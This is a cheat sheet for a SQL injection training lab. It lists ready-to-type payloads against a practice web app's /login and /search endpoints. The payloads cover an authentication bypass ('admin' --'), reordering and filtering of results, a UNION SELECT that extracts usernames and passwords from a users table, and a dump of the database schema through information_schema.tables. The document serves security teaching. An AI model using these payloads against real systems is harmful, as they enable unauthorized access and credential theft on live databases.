SQL Injection Lab Cheat Sheet

Welcome to the security lab! Use this guide to test and understand how vulnerable input handling affects database queries.

1. Authentication Bypass (Login Portal)

Target: /login

Type this into the Username field (leave password blank or put anything):

admin' --

Why it works: The single quote closes the SQL string literal early, and the double dash (--) comments out the remainder of the password check query.

2. Sorting Manipulation (Product Catalog Search)

Target: /search

Type this into the search bar to force expensive products to the top:

%' ORDER BY price DESC -- 

3. Conditional Filtering (Advanced Search)

Target: /search

Combine string closure with logical operators to filter items over a specific threshold:

%' AND price > 100 ORDER BY price DESC -- 

4. Extracting Data from Other Tables (The Users Table)

Target: /search

Use a UNION operator to merge the product results with sensitive user credentials:

%' UNION SELECT 1, username, password, 1 FROM users -- 

5. Database Schema Discovery (Finding All Tables)

Target: /search

Query H2's internal metadata schema to map out the entire structure of the database:

%' UNION SELECT 1, table_name, 'Table Schema', 0 FROM information_schema.tables --